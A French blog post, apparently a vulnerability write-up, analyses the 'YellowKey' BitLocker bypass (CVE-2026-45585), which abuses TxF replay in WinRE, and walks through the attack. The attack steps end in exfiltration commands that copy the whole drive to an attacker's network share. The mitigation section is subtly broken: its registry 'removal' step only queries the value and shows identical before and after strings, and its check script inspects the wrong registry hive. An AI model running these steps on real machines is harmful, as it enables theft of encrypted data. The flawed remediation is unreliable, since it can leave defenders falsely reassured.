CVE-2026-45585 (YellowKey) : Bypass BitLocker Windows par Transaction NTFS
by cloud
CVE-2026-45585 (YellowKey) est un bypass du chiffrement BitLocker Windows découverte par le chercheur Chaotic Eclipse (Nightmare-Eclipse). Un attaquant disposant d’un accès physique à une machine Windows chiffrée par BitLocker peut contourner l’intégralité du chiffrement et accéder aux données en clair sans mot de passe, clé de récupération, ni outil spécialisé. L’exploit abuse de Transactional NTFS (TxF) et de la séquence de boot WinRE (Windows Recovery Environment) en injectant des fichiers transactionnels sur une simple clé USB.
Caractéristiques principales :
- ✅ Bypass complet de BitLocker — accès aux données sans clé de récupération
- ✅ Aucun outil spécialisé requis — fonctionnalités Windows natives uniquement
- ✅ Accès physique bref (brancher une USB + reboot + maintenir CTRL)
- ✅ Aucun artefact matériel persistant — furtif forensiquement
- ✅ Windows 10 non affecté (configuration WinRE différente)
- ✅ Protection TPM+PIN résistante (selon Microsoft)
TL;DR
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-45585 |
| Alias | YellowKey |
| Impact | Importante — bypass BitLocker, accès aux données chiffrées en clair |
| Composant | autofstx.exe (TxF Auto Recovery Utility) dans WinRE |
| Type | CWE-77 — Command Injection via Transactional NTFS replay |
| CVSS | 6.8 MEDIUM — AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Auteur | Chaotic Eclipse (Nightmare-Eclipse) |
| PoC | github.com/Nightmare-Eclipse/YellowKey |
| Versions affectées | Windows 11 24H2/25H2/26H1 (x64), Windows Server 2025 |
| Versions non affectées | Windows 10 (WinRE différent) |
| Mitigation | Retrait manuel de autofstx.exe de BootExecute dans WinRE |
| Protection efficace | TPM+PIN (contredit par l’auteur) |
1. Contexte : BitLocker et les attaques physiques
1.1 BitLocker en bref
BitLocker est la solution de chiffrement intégral de disque de Microsoft, introduite avec Windows Vista. Il utilise le TPM (Trusted Platform Module) pour valider l’intégrité du boot et protéger la clé de chiffrement. Les modes de protection courants sont :
| Mode | Description | Résistance aux attaques physiques |
|---|---|---|
| TPM seul | La clé est délivrée si l’intégrité du boot est vérifiée | Faible — attaques DMA, bus sniffing |
| TPM+PIN | PIN additionnel requis au boot | Élevée — sans PIN, pas de déverrouillage |
| TPM+USB | Clé USB requise au boot | Haute — mais clé physique volable |
| Mot de passe seul | Mot de passe au boot pour déverrouiller | Haute — mais vulnérable au bruteforce |
1.2 L’angle mort : WinRE
Windows Recovery Environment (WinRE) est un environnement de réparation intégré, dérivé de Windows PE. Il est chargé depuis la partition de recovery et exécute une séquence de boot contrôlée par winpeshl.ini. Microsoft a historiquement considéré WinRE comme un environnement de confiance — un postulat que YellowKey vient briser.
Note : Cette vulnérabilité affecte Windows 11 24H2/25H2/26H1 et Windows Server 2025. Windows 10 utilise une version différente de WinRE avec un comportement de boot distinct, ce qui le rend immunisé.
2. La vulnérabilité : CWE-77 — Command Injection via TxF
2.1 CWE-77 : Improper Neutralization of Special Elements used in a Command
La racine du problème est que l’exécutable autofstx.exe (TxF Auto Recovery Utility) est invoqué automatiquement lors du démarrage de WinRE via la valeur BootExecute dans le registre :
HKLM\ControlSet001\Control\Session Manager\BootExecute
Cette valeur ordinaire contient :
autocheck autochk *
Mais autofstx.exe peut être ajouté à cette chaîne de commandes. L’environnement WinRE fait confiance à autofstx.exe pour traiter les transactions TxF sans restreindre ce qu’un fichier de transaction peut contenir ou faire.
2.2 Transactional NTFS (TxF) — rappel technique
TxF est un mécanisme introduit dans Windows Vista permettant des opérations de fichier transactionnelles — soit tout est validé, soit tout est annulé (ACID). Les transactions sont journalisées dans \System Volume Information\FsTx\ et rejouées au montage du volume par autofstx.exe.
Le point dangereux : les transactions enregistrées sur une clé USB sont rejouées par autofstx.exe de l’hôte, et ce rejeu s’effectue avec les privilèges du noyau, en early-boot.
3. Mécanisme de l’exploit
3.1 Surface d’attaque : BootExecute et autofstx.exe
YellowKey exploite la chaîne de confiance suivante :
1. Boot WinRE
2. winpeshl.exe lit winpeshl.ini → interface recovery graphique
3. Avant cela, smss.exe lit BootExecute dans le registre WinRE
4. BootExecute inclut autofstx.exe (TxF Auto Recovery)
5. autofstx.exe monte/réalise les volumes → rejoue les transactions TxF
6. Les transactions TxF d'un volume externe (USB) sont rejouées
7. Ces transactions suppriment winpeshl.ini dans l'image WinRE
8. winpeshl.exe ne trouvant pas winpeshl.ini → lance cmd.exe en fallback
9. cmd.exe avec privilèges SYSTEM → accès au volume protégé par BitLocker
3.2 Le rôle de winpeshl.ini
winpeshl.ini est le fichier de configuration qui indique à l’interface WinRE comment se comporter au démarrage. Sa structure est simple :
[LaunchApps]
"%SYSTEMROOT%\system32\recovery\startrecovery.exe"
Quand ce fichier est absent, winpeshl.exe exécute cmd.exe comme fallback — un shell SYSTEM complet sans restriction. C’est la porte ouverte vers le volume BitLocker.
3.3 La clé de l’exploit : TxF cross-volume
L’insight clé, identifié par Will Dormann (Tharros Labs), est le suivant :
Un répertoire
\System Volume Information\FsTxsur un volume a la capacité de modifier le contenu d’un autre volume lorsqu’il est rejoué.
En d’autres termes, les transactions TxF créées sur une clé USB peuvent cibler des fichiers sur un autre volume (celui de WinRE, par exemple) lors du rejeu par autofstx.exe. Ce mécanisme cross-volume, exécuté en contexte early-boot avec privilèges élevés, est le cœur technique de YellowKey.
3.4 Schéma de l’attaque
┌─────────────────────────┐ USB key ┌──────────────────────────┐
│ Machine BitLockée │◄──────────────►│ Clé USB YellowKey │
│ │ montage │ │
│ ┌───────────────────┐ │ │ ┌────────────────────┐ │
│ │ Volume C: (NTFS) │ │ │ │ \System Volume │ │
│ │ (chiffré) │ │ │ │ \Information\ │ │
│ └───────────────────┘ │ │ │ FsTx\ │ │
│ │ │ │ txfile_*.txf │ │
│ ┌───────────────────┐ │ │ └────────────────────┘ │
│ │ Volume WinRE │ │ Reboot │ │
│ │ (non chiffré) │◄─┼──────────────┤ │
│ │ │ │ │ │
│ │ winpeshl.ini ──→ │ │ autofstx.exe │ │
│ │ (SUPPRIMÉ !) │ │ rejoue TxF │ │
│ │ │ │ cross-volume │ │
│ │ cmd.exe SYSTEM ◄──┼──┴──────────────┘ │
│ │ ──→ accès C: │ │ │
│ └───────────────────┘ │ │
└─────────────────────────┘ │
│
Attaquant : branche USB → reboot → CTRL → shell SYSTEM → données !
4. Détails d’exploitation
4.1 Préparation de la clé USB
L’exploit YellowKey nécessite uniquement une clé USB formatée en NTFS avec une structure de transactions TxF malveillantes dans \System Volume Information\FsTx\. Aucune modification matérielle ou micro-logicielle n’est requise.
# Étapes conceptuelles de préparation de la clé YellowKey
# (simplifié — le PoC public contient l'implémentation complète)
# 1. Formater la clé USB en NTFS
format D: /FS:NTFS /Q
# 2. Créer les répertoires TxF (normalement cachés)
mkdir D:\System Volume Information\FsTx
# 3. Placer les fichiers de transaction TxF qui, une fois rejoués,
# suppriment le fichier winpeshl.ini sur le volume WinRE cible
# (les transactions contiennent la cible cross-volume)
Note technique : Les fichiers TxF sont des structures binaires qui contiennent la liste des opérations (création, suppression, écriture) à rejouer, ainsi que la cible absolue de chaque opération. Le PoC public génère ces fichiers avec une cible pointant vers
X:\Windows\System32\winpeshl.inioù X: est la lettre de volume WinRE au moment du boot.
4.2 La séquence d’attaque
Étape 1 : Accès physique
└── Brancher la clé USB YellowKey sur la machine cible (allumée ou éteinte)
Étape 2 : Déclenchement
│ Option A : Rebooter la machine normalement
│ Option B : Forcer un reboot (interruption alimentation, bouton reset)
│
└── La machine démarre → le bootloader BitLocker (TPM) déverrouille le volume
Étape 3 : Interception du boot recovery
└── Pendant le boot, maintenir CTRL enfoncé
│ Ce comportement est documenté : CTRL au boot lance la réparation automatique
│
└── Windows charge WinRE
Étape 4 : Exploitation
│ WinRE démarre → smss.exe → BootExecute → autofstx.exe
│ autofstx.exe monte les volumes → rejoue les TxF de la clé USB
│ Les transactions suppriment winpeshl.ini du volume WinRE
│
└── winpeshl.exe ne trouve pas winpeshl.ini → lance cmd.exe
Étape 5 : Accès aux données
└── cmd.exe s'ouvre avec privilèges SYSTEM
│ Le volume système chiffré par BitLocker est accessible en clair
│ (WinRE l'a déverrouillé via TPM au boot)
│
└── copy D:\secret\*.* C:\exfil\
net use Z: \\attaquant\share
copy C:\*.* Z:\
4.3 Pourquoi CTRL ?
Le maintien de CTRL pendant le boot recovery est le déclencheur qui force Windows à entrer dans la séquence de réparation automatique plutôt que de booter normalement. Cette séquence charge WinRE, qui à son tour exécute autofstx.exe. Sans cette étape, l’exploit ne peut pas être déclenché.
5. Analyse d’impact
5.1 Que peut faire un attaquant ?
| Capacité | Détail |
|---|---|
| Accès intégral au disque | Lecture/écriture de tous les fichiers, y compris système |
| Extraction de credentials | Vol des hashs SAM, tickets Kerberos, clés DPAPI |
| Backdoor persistante | Installation d’un implant avec privilèges SYSTEM |
| Vol silencieux | Copie des données sans laisser de trace matérielle |
| Pivot network | Utilisation de la machine compromise pour attaquer le réseau interne |
5.2 Furtivité forensique
Contrairement à une attaque par bus DMA (par exemple, un PCILeech), YellowKey :
- N’introduit pas de matériel suspect (pas de PCIe card, pas de Thunderbolt)
- Ne laisse pas d’artefact sur le port (les connexions USB ne sont pas tracées par défaut)
- Utilise des fonctionnalités Windows natives — pas de drivers modifiés, pas de code noyau
- La clé USB peut être retirée après l’attaque, ne laissant que les modifications dans WinRE (restaurées au prochain boot normal)
5.3 La controverse TPM+PIN
Microsoft indique dans son advisory que les systèmes configurés avec TPM+PIN ne sont pas vulnérables. La raison : le PIN doit être saisi pour déverrouiller le volume au boot ; sans PIN, la séquence WinRE ne peut pas accéder au volume.
Cependant, le chercheur Chaotic Eclipse affirme que YellowKey fonctionne également avec TPM+PIN. Cette affirmation n’a pas été indépendamment validée au moment de la rédaction de cet article.
| Configuration | Vulnérable ? | Source |
|---|---|---|
| TPM seul | ✅ Oui | Confirmé |
| TPM+PIN | ❌ Non (Microsoft) / ✅ Oui (Chercheur) | Contesté |
| Mot de passe BitLocker | ❌ Non (WinRE ne peut pas déverrouiller) | Logique |
| Clé de récupération | ❌ Non (idem) | Logique |
| Windows 10 | ❌ Non | WinRE différent |
6. Correctif et mitigation
6.1 Mitigation Microsoft officielle (6 étapes)
Microsoft a publié une procédure manuelle pour supprimer autofstx.exe de la chaîne de boot WinRE :
# Étape 1 : Monter l'image WinRE
reagentc /mountre /path C:\mount
# Étape 2 : Charger la ruche SYSTEM de WinRE
reg load HKLM\WinREHive C:\mount\Windows\System32\config\SYSTEM
# Étape 3 : Retirer autofstx.exe de BootExecute
# Valeur d'origine (à préserver) :
# autocheck autochk *
# Valeur après retrait :
# autocheck autochk *
# (autofstx.exe est simplement retiré de la chaîne)
reg query "HKLM\WinREHive\ControlSet001\Control\Session Manager" /v BootExecute
# Note : selon la version, autofstx.exe peut ou non être présent
# Étape 4 : Décharger la ruche
reg unload HKLM\WinREHive
# Étape 5 : Démonter et commit
reagentc /unmountre /path C:\mount /commit
# Étape 6 : Réinitialiser WinRE
reagentc /disable
reagentc /enable
6.2 Vérification de la mitigation
Pour confirmer que autofstx.exe a bien été retiré :
# Monter l'image WinRE
reagentc /mountre /path C:\mount
# Charger la ruche
reg load HKLM\WinREHive C:\mount\Windows\System32\config\SYSTEM
# Vérifier BootExecute
reg query "HKLM\WinREHive\ControlSet001\Control\Session Manager" /v BootExecute
# La valeur doit être "autocheck autochk *" sans référence à autofstx.exe
6.3 Activation de TPM+PIN
Pour les organisations souhaitant une protection renforcée :
# Activer le protecteur TPM+PIN sur le lecteur C:
Add-BitLockerKeyProtector C: -TpmAndPinProtector
# Gérer le PIN (utilisé au boot pour déverrouiller)
Manage-bde -protectors -add C: -TPMAndPIN
# Vérifier les protecteurs actifs
Manage-bde -protectors -get C:
6.4 Script de vérification automatisé
# CheckYellowKey.ps1 — Vérifier si un système est vulnérable
$vulnerable = $false
# Vérifier la version de Windows
$os = Get-CimInstance Win32_OperatingSystem
$version = $os.Version
if ($version -ge "10.0.26100") {
# Windows 11 24H2+ ou Server 2025
Write-Host "[!] Système potentiellement vulnérable (version $version)" -ForegroundColor Yellow
# Vérifier si autofstx.exe est présent dans le BootExecute du registre courant
$bootExec = Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Session Manager" -Name BootExecute -ErrorAction SilentlyContinue
if ($bootExec.BootExecute -match "autofstx") {
Write-Host "[!] autofstx.exe trouvé dans BootExecute — VULNÉRABLE" -ForegroundColor Red
$vulnerable = $true
} else {
Write-Host "[✓] autofstx.exe absent du BootExecute courant" -ForegroundColor Green
}
} elseif ($version -ge "10.0.10240") {
Write-Host "[✓] Windows 10 — non affecté par YellowKey" -ForegroundColor Green
}
7. Timeline
| Date | Événement |
|---|---|
| ~2026-05-13 | Publication du PoC YellowKey par Chaotic Eclipse sur GitHub (violation du coordinated disclosure) |
| 2026-05-19 | Microsoft assigne CVE-2026-45585 et publie l’advisory initial avec mitigations manuelles |
| 2026-05-20 | SecurityWeek, The Hacker News couvrent la divulgation publique |
| 2026-05-22 | LevelBlue publie une analyse technique approfondie ; CVE mis à jour avec FAQ Microsoft |
| 2026-05-28 | Publication de cet article |
8. Recommandations
- Appliquer la mitigation Microsoft immédiatement en retirant
autofstx.exede BootExecute dans WinRE (procédure 6 étapes) - Activer TPM+PIN sur tous les postes BitLocker — c’est la protection la plus efficace contre les attaques physiques
- Restreindre l’accès physique aux machines sensibles — un attaquant n’a besoin que de quelques secondes avec la machine
- Auditer les logs USB et les événements de boot recovery (Event ID 5061, 5038) sur les systèmes critiques
- Surveiller les mises à jour Microsoft — un correctif automatique est attendu dans un prochain Patch Tuesday
Références
| Source | URL |
|---|---|
| GitHub PoC YellowKey | https://github.com/Nightmare-Eclipse/YellowKey |
| Microsoft Security Advisory | https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585 |
| Analyse LevelBlue | https://www.levelblue.com/blogs/security-advisories/yellowkey-bitlocker-bypass |
| SecurityWeek | https://www.securityweek.com/yellowkey-bitlocker-bypass-vulnerability |
| The Hacker News | https://thehackernews.com/2026/05/yellowkey-bitlocker-bypass.html |
| Transactional NTFS documentation | https://learn.microsoft.com/en-us/windows/win32/fileio/transactional-ntfs-portal |
| WinRE documentation | https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/windows-recovery-environment–windows-re–technical-reference |
| Dirty Frag (article précédent) | https://madpowah.github.io/2026/05/09/dirtyfrag-cve-2026-43284.html |
Have fun.
tags: security - windows - cve - exploit - bitlocker - yellowkey - ntfs - txf